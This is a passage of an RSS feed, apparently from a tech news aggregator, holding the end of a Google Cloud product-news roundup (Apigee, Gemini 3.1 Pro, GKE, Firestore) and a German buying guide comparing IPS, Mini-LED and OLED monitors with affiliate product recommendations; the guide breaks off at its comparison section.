<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested Acer's new Swift Go 16 AI, and this affordable OLED laptop impressed me more than I had expected]]></title>
<description><![CDATA[Acer's Swift Go 16 AI laptop offers surprisingly strong performance, a colorful OLED screen, and long battery life, but I found some issues that hold it back.]]></description>
<link>https://tsecurity.de/de/3662169/windows-tipps/i-tested-acers-new-swift-go-16-ai-and-this-affordable-oled-laptop-impressed-me-more-than-i-had-expected/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662169/windows-tipps/i-tested-acers-new-swift-go-16-ai-and-this-affordable-oled-laptop-impressed-me-more-than-i-had-expected/</guid>
<pubDate>Sat, 11 Jul 2026 18:29:32 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Acer's Swift Go 16 AI laptop offers surprisingly strong performance, a colorful OLED screen, and long battery life, but I found some issues that hold it back.]]></content:encoded>
</item>
<item>
<title><![CDATA[Monitor-Upgrade für Ihren PC: OLED, IPS oder Mini-LED – was bringt im Alltag wirklich etwas?]]></title>
<description><![CDATA[Ein neuer Monitor ist das wohl spürbarste Upgrade für jeden PC-Arbeitsplatz. Schließlich starren wir täglich stundenlang genau auf diese eine Komponente. Während vor einigen Jahren noch vor allem die Bildschirmdiagonale und die Auflösung entscheidend waren, stehen Käufer heute vor einer technolog...]]></description>
<link>https://tsecurity.de/de/3661428/it-nachrichten/monitor-upgrade-fuer-ihren-pc-oled-ips-oder-mini-led-was-bringt-im-alltag-wirklich-etwas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661428/it-nachrichten/monitor-upgrade-fuer-ihren-pc-oled-ips-oder-mini-led-was-bringt-im-alltag-wirklich-etwas/</guid>
<pubDate>Sat, 11 Jul 2026 09:17:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ein <a href="https://www.pcwelt.de/article/3041188/bester-monitor-test.html" target="_blank" rel="noreferrer noopener">neuer Monitor</a> ist das wohl spürbarste Upgrade für jeden PC-Arbeitsplatz. Schließlich starren wir täglich stundenlang genau auf diese eine Komponente. Während vor einigen Jahren noch vor allem die Bildschirmdiagonale und die Auflösung entscheidend waren, stehen Käufer heute vor einer technologischen Grundsatzfrage.</p>



<p>Die Eier legende Wollmilchsau gibt es nämlich leider immer noch nicht: Was beim nächtlichen Zocken für offene Münder sorgt, kann Sie beim morgendlichen Excel-Marathon im hell erleuchteten <a href="https://www.pcwelt.de/article/1187460/home-office-29-tipps-fuer-die-arbeit-von-zuhause.html" target="_blank" rel="noreferrer noopener">Homeoffice</a> schnell im Stich lassen. </p>



<p>Damit Sie beim Upgrade nicht in technische Fettnäpfchen treten, dröseln wir die Stärken und Schwächen der drei wichtigsten Technologien auf und geben eine Kaufberatung für die unterschiedlichen Modelltypen.</p>



<h2 class="wp-block-heading">Die drei Panel-Technologien im Alltags-Check</h2>



<p>Um das Maximum aus Ihrem Budget herauszuholen, sollten Sie die Charakteristiken der Panel-Typen kennen. Jede Technik hat ein optimales Einsatzgebiet.</p>



<h2 class="wp-block-heading">1. Der IPS-Monitor: Unkomplizierter Allrounder für den Alltag</h2>



<p>IPS (In-Plane Switching) gilt seit Jahren als der vernünftige Alleskönner unter den Display-Technologien. Die Technologie ist ausgereift, langlebig und bietet hervorragende Farbtreue sowie extrem stabile Blickwinkel. Egal, ob Sie schräg vor dem Monitor sitzen oder ein Kollege von der Seite daraufblickt: Die Farben verfälschen sich nicht. </p>



<p>Das größte Manko dieser Technik ist jedoch der systembedingte Kontrast. Weil hier eine dauerhafte Hintergrundbeleuchtung durch die Flüssigkristalle scheint, schimmert Schwarz im dunklen Raum eher dunkelgrau (<strong>IPS-Glow</strong>).</p>



<h3 class="wp-block-heading">Für wen eignen sich IPS-Displays?</h3>



<p>Dieser Displaytyp ist ideal fürs Homeoffice, klassische Büroarbeiten, Bildbearbeitung und Gelegenheitsspieler, die einen zuverlässigen Monitor ohne das Risiko von Einbrenneffekten suchen.</p>



<h2 class="wp-block-heading">Produktempfehlung: LG UltraGear 27GR75Q-B</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a51eddec11d4"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/LG-Electronics-27GR75Q-B.jpg?quality=50&amp;strip=all&amp;w=754" alt="LG Electronics 27GR75Q-B" class="wp-image-3168001" width="754" height="1199" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">LG</p></div>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn shopping-cart-icon-white link-6-button" href="https://www.amazon.de/dp/B0BVWMSP1V?tag=pcwelt.de-21&amp;ascsubtag=4-0-3167989-7-0-0-0-0&amp;ascsubtag=rss" target="_blank" rel="nofollow" data-vars-link-position="CTA Button" data-domain-name="amazon" data-subtag="4-0-3167989-7-0-0-0-0">LG UltraGear 27GR75Q-B bei Amazon ansehen</a></div>


<p>Preis: ca. 299 Euro</p>



<p><strong>Technik-Specs:</strong></p>



<ul class="wp-block-list">
<li><strong>Bilddiagonale &amp; Format:</strong> 27 Zoll (68,5 cm), Seitenverhältnis 16:9</li>



<li><strong>Auflösung &amp; Panel-Typ:</strong> WQHD (2.560 × 1.440 Pixel), IPS-Panel</li>



<li><strong>Farbraum &amp; Helligkeit:</strong> 99 % sRGB-Abdeckung, HDR10-Unterstützung, maximale Helligkeit 300 Nits</li>



<li><strong>Bildwiederholrate &amp; Reaktionszeit:</strong> 165 Hz nativ, 1 ms</li>



<li><strong>Synchronisation:</strong> AMD FreeSync Premium, Nvidia G-Sync Compatible</li>



<li><strong>Ergonomie-Funktionen:</strong> Höhenverstellbar, neigbar, schwenkbar, Pivot-Funktion (90-Grad-Drehung)</li>



<li><strong>Zusatzfunktionen:</strong> Flicker-Safe-Hintergrundbeleuchtung, Blaulichtreduktion (Reader Mode), softwarebasierte Menüsteuerung (OnScreen Control)</li>



<li><strong>Anschlüsse:</strong> 1 × DisplayPort 1.4, 2 × HDMI (Version herstellerseitig nicht spezifiziert), 1 × 3,5-mm-Klinkenanschluss (Kopfhörer)</li>
</ul>



<p>Der <a href="https://www.amazon.de/dp/B0BVWMSP1V?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">LG UltraGear 27GR75Q-B</a> bedient die im Consumer-Bereich weitverbreitete Kombination aus 27-Zoll-Diagonale und WQHD-Auflösung. Das verbaute IPS-Panel bietet eine Pixeldichte, die für eine angenehm scharfe Textdarstellung im Büroalltag sorgt, während die Bildwiederholrate von 165 Hz flüssige Bildbewegung beim Gaming verspricht. </p>



<p>Mit einer herstellerseitig angegebenen sRGB-Farbraumabdeckung von 99 Prozent eignet sich das Modell auch für grundlegende Bildbearbeitungen im semiprofessionellen Bereich.</p>



<h2 class="wp-block-heading">2. Mini-LED-Monitore: HDR-Leuchtkraft für helle Räume</h2>



<p>Mini-LED ist die Evolution des klassischen LCD-Monitors. Statt einiger großer Leuchtdioden sitzen dabei jedoch tausende winzige LEDs hinter dem Panel, die in hunderten separaten Zonen geregelt werden können (<strong>Local Dimming</strong>). </p>



<p>Der Effekt: Wo das Bild besonders dunkel sein soll, können die entsprechenden Dimmzonen stark heruntergeregelt oder sogar abgeschaltet werden. Das sorgt für fantastische Kontraste und eine beeindruckende Spitzenhelligkeit, die echtes, blendendes HDR ermöglicht. </p>



<p><strong>Der Nachteil</strong>: Um helle Objekte auf dunklem Grund (wie den Mauszeiger) kann ein minimaler Lichtkranz entstehen (<strong>Blooming</strong>).</p>



<h3 class="wp-block-heading">Für wen eignen sich Mini-LED-Monitore?</h3>



<p>Besonders in hellen Räumen spielt Mini-LED seine Stärken aus. Die Technik eignet sich außerdem für ambitionierte Gamer und Film-Enthusiasten, die spektakuläre HDR-Effekte ohne Kompromisse bei der Helligkeit erleben möchten.</p>



<h2 class="wp-block-heading">Produktempfehlung: AOC Gaming Q27G3XMN</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a51eddec2324"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/AOC-Gaming-Q27G3XMN.jpg?quality=50&amp;strip=all&amp;w=1100" alt="AOC Gaming Q27G3XMN" class="wp-image-3168006" width="1100" height="1199" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">AOC </p></div>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn shopping-cart-icon-white link-6-button" href="https://www.amazon.de/dp/B0CNRPGQBG?tag=pcwelt.de-21&amp;ascsubtag=4-0-3167989-7-0-0-0-0&amp;ascsubtag=rss" target="_blank" rel="nofollow" data-vars-link-position="CTA Button" data-domain-name="amazon" data-subtag="4-0-3167989-7-0-0-0-0">AOC Gaming Q27G3XMN bei Amazon ansehen</a></div>


<p>Preis: 259 Euro</p>



<p><strong>Technik-Specs:</strong></p>



<ul class="wp-block-list">
<li><strong>Bilddiagonale &amp; Format:</strong> 27 Zoll (68,6 cm), Seitenverhältnis 16:9, mattes Display</li>



<li><strong>Auflösung &amp; Panel-Typ:</strong> QHD (2.560 × 1.440 Pixel), VA-Panel</li>



<li><strong>Hintergrundbeleuchtung:</strong> Mini-LED-Technologie mit 336 lokalen Dimmzonen (Local Dimming)</li>



<li><strong>Kontrast &amp; Helligkeit:</strong> Statischer Kontrast 3.000:1, maximale Spitzenhelligkeit 1.000 Nits</li>



<li><strong>HDR-Zertifizierung:</strong> VESA Certified DisplayHDR 1000</li>



<li><strong>Bildwiederholrate &amp; Reaktionszeit:</strong> 180 Hz nativ, 1 ms</li>



<li><strong>Synchronisation:</strong> AMD FreeSync Premium Pro</li>



<li><strong>Ergonomie-Funktionen:</strong> 130 mm höhenverstellbar, Pivot-Funktion (90-Grad-Drehung), abnehmbarer Standfuß, VESA-Wandhalterung kompatibel (100 x 100 mm)</li>



<li><strong>Zusatzfunktionen:</strong> Flicker-Free-Hintergrundbeleuchtung, Blaulichtreduktion (Low Blue Light), herstellereigene Konfigurationssoftware (AOC G-Menu)</li>



<li><strong>Anschlüsse:</strong> 1 × DisplayPort 1.4, 2 × HDMI 2.0, 1 × 3,5-mm-Klinkenanschluss (Kopfhörer)</li>



<li><strong>Lieferumfang &amp; Service:</strong> Monitor, Stromkabel, HDMI-Kabel, DisplayPort-Kabel, Treiber-CD, 3 Jahre Herstellergarantie</li>
</ul>



<p>Der <a href="https://www.amazon.de/dp/B0CNRPGQBG?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">AOC Gaming Q27G3XMN</a> platziert sich als vergleichsweise günstiger Einstieg in die Mini-LED-Technologie. Durch die VESA-Zertifizierung nach dem DisplayHDR-1000-Standard liefert das Panel eine deutlich höhere Spitzenhelligkeit und Dynamik als klassische IPS-Monitore ohne lokales Dimming. 336 separate Dimmzonen ermöglichen eine selektive Abschaltung der Hintergrundbeleuchtung, womit der Kontrast bei der Darstellung von HDR-Inhalten im Vergleich zu herkömmlichen Edge-LED-Modellen sichtbar steigt.</p>



<h2 class="wp-block-heading">3. OLED-Monitore: Das visuelle Nonplusultra mit perfektem Schwarz</h2>



<p>OLED-Monitore sind der Traum vieler Gamer und <a href="https://www.pcwelt.de/article/3149575/smart-tv-heimkino-upgrades.html" target="_blank" rel="noreferrer noopener">Heimkino-Enthusiasten</a>. Weil hier jedes Pixel als winziges, selbstleuchtendes Element agiert, benötigt OLED keine Hintergrundbeleuchtung. Wird ein Pixel abgeschaltet, ist es absolut schwarz. Das resultiert in unendlichem Kontrast und einer Bildtiefe, die keine andere Technik erreicht. </p>



<p>Hinzu kommen Reaktionszeiten nahe dem theoretischen Nullpunkt. Allerdings erreichen OLED-Monitore bei großflächigen Bildinhalten meist nicht die Dauerhelligkeit hochwertiger Mini-LED-Displays. Bei statischen Inhalten (wie Excel-Tabellen oder Taskleisten) besteht auf Dauer zudem ein theoretisches Risiko für Einbrenneffekte (<strong>Burn-In</strong>). Solche Monitore setzen deshalb auf verschiedene Schutzmechanismen wie Pixel-Refresh, Pixel-Shift oder automatische Helligkeitsanpassungen.</p>



<h3 class="wp-block-heading">Für wen eignet sich die OLED-Technik?</h3>



<p>Für Hardcore-Gamer, Cineasten und Nutzer, die primär in abgedunkelten Räumen arbeiten oder spielen und die absolut beste Bildqualität suchen.</p>



<h2 class="wp-block-heading">Produktempfehlung: Asus ROG Swift OLED PG27AQDM</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a51eddec3099"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/ASUS-ROG-Swift-OLED-PG27AQDM-27-Zoll-WQHD-Gaming-Monitor.jpg?quality=50&amp;strip=all&amp;w=1200" alt="ASUS ROG Swift OLED PG27AQDM - 27 Zoll WQHD Gaming Monitor" class="wp-image-3168008" width="1200" height="1013" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Asus</p></div>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn shopping-cart-icon-white link-6-button" href="https://www.amazon.de/dp/B0BXY85B9F?tag=pcwelt.de-21&amp;ascsubtag=4-0-3167989-7-0-0-0-0&amp;ascsubtag=rss" target="_blank" rel="nofollow" data-vars-link-position="CTA Button" data-domain-name="amazon" data-subtag="4-0-3167989-7-0-0-0-0">Asus ROG Swift OLED PG27AQDM bei Amazon ansehen</a></div>


<p>Preis: 600 Euro</p>



<p><strong>Technik-Specs:</strong></p>



<ul class="wp-block-list">
<li><strong>Bilddiagonale &amp; Format:</strong> 26,5 Zoll (67,3 cm), Seitenverhältnis 16:9, Anti-Glare-Oberfläche (reflexionsarm)</li>



<li><strong>Auflösung &amp; Panel-Typ:</strong> WQHD (2.560 × 1.440 Pixel), 10-Bit-OLED</li>



<li><strong>Farbraum &amp; Farbtreue:</strong> 99 % DCI-P3-Farbraumabdeckung, sehr hohe Farbgenauigkeit (Delta E &lt; 2)</li>



<li><strong>Helligkeit:</strong> Maximale Spitzenhelligkeit von 1.000 Nits, optionale Funktion für gleichmäßige Helligkeitsbegrenzung</li>



<li><strong>Bildwiederholrate &amp; Reaktionszeit:</strong> 240 Hz nativ, 0,03 ms</li>



<li><strong>Synchronisation &amp; Input:</strong> Nvidia G-Sync Compatible, AMD FreeSync Premium, GameFast Input (Eingabeverzögerungs-Reduzierung)</li>



<li><strong>Panel-Schutz (Wärmemanagement):</strong> Integrierter, angepasster Kühlkörper (Heatsink), softwareseitige Spannungsoptimierung zur Verringerung des Burn-In-Risikos</li>



<li><strong>Ergonomie &amp; Bedienung:</strong> Standfuß mit flexiblen Verstellmöglichkeiten, Monitoreinstellungen über Windows-Software per Maus steuerbar</li>



<li><strong>Anschlüsse:</strong> DisplayPort 1.4, HDMI (Version herstellerseitig nicht spezifiziert), integrierter USB-Hub</li>
</ul>



<p>Der <a href="https://www.amazon.de/dp/B0BXY85B9F?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus ROG Swift OLED PG27AQDM</a> setzt auf die typischen Stärken der OLED-Technologie: konstruktionsbedingt perfektes Schwarz und extrem niedrige Reaktionszeiten von 0,03 Millisekunden. </p>



<p>In Kombination mit der hohen Bildwiederholrate von 240 Hertz eignet sich das Modell primär für schnelle, kompetitive Spiele. Um der typischen OLED-Problematik des Panel-Einbrennens (Burn-In) entgegenzuwirken, verbaut der Hersteller einen passiven Kühlkörper und nutzt eine softwareseitige Spannungsoptimierung, die die thermische Belastung der organischen Pixel im Betrieb reduzieren soll.</p>



<h2 class="wp-block-heading">Die drei Technologien im Vergleich</h2>



<p>Hier sehen Sie die Stärken und Schwächen im direkten Schlagabtausch, um die richtige Kaufentscheidung für Ihren Arbeitsplatz zu treffen:</p>



